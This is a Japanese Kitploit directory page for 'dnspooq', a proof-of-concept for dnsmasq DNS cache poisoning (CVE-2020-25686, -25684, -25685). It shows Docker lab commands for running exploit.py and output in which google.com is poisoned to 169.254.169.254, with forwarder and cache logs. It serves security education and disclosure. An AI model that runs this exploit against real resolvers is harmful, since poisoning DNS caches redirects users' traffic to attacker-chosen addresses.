Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
dnspooq — DNSpooq - dnsmasq キャッシュポイズニング (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) | Kitploit
ツール/GitHubGitHub/knqyf263/dnspooq
脆弱性分析エクスプロイトペネトレーションテスト学習と教育DNS分析
GitHubknqyf263/dnspooq

dnspooq

DNSpooq - dnsmasq キャッシュポイズニング (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

リポジトリを見る
101375年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

dnspooq

DNSpooq PoC - dnsmasqキャッシュポイズニング (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

教育目的のみ

要件

  • Docker compose
  • Docker

エクスプロイト

dnspooq

コンテナの起動

root@kitploit:~
$ docker-compose up -d

exploit.pyの実行

root@kitploit:~
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

フォワーダーコンテナの出力を確認

root@kitploit:~
$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

キャッシュコンテナの出力を確認

root@kitploit:~
$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

参考

  • https://www.jsof-tech.com/disclosures/dnspooq/
  • https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

著者

Teppei Fukuda

ツールをダウンロード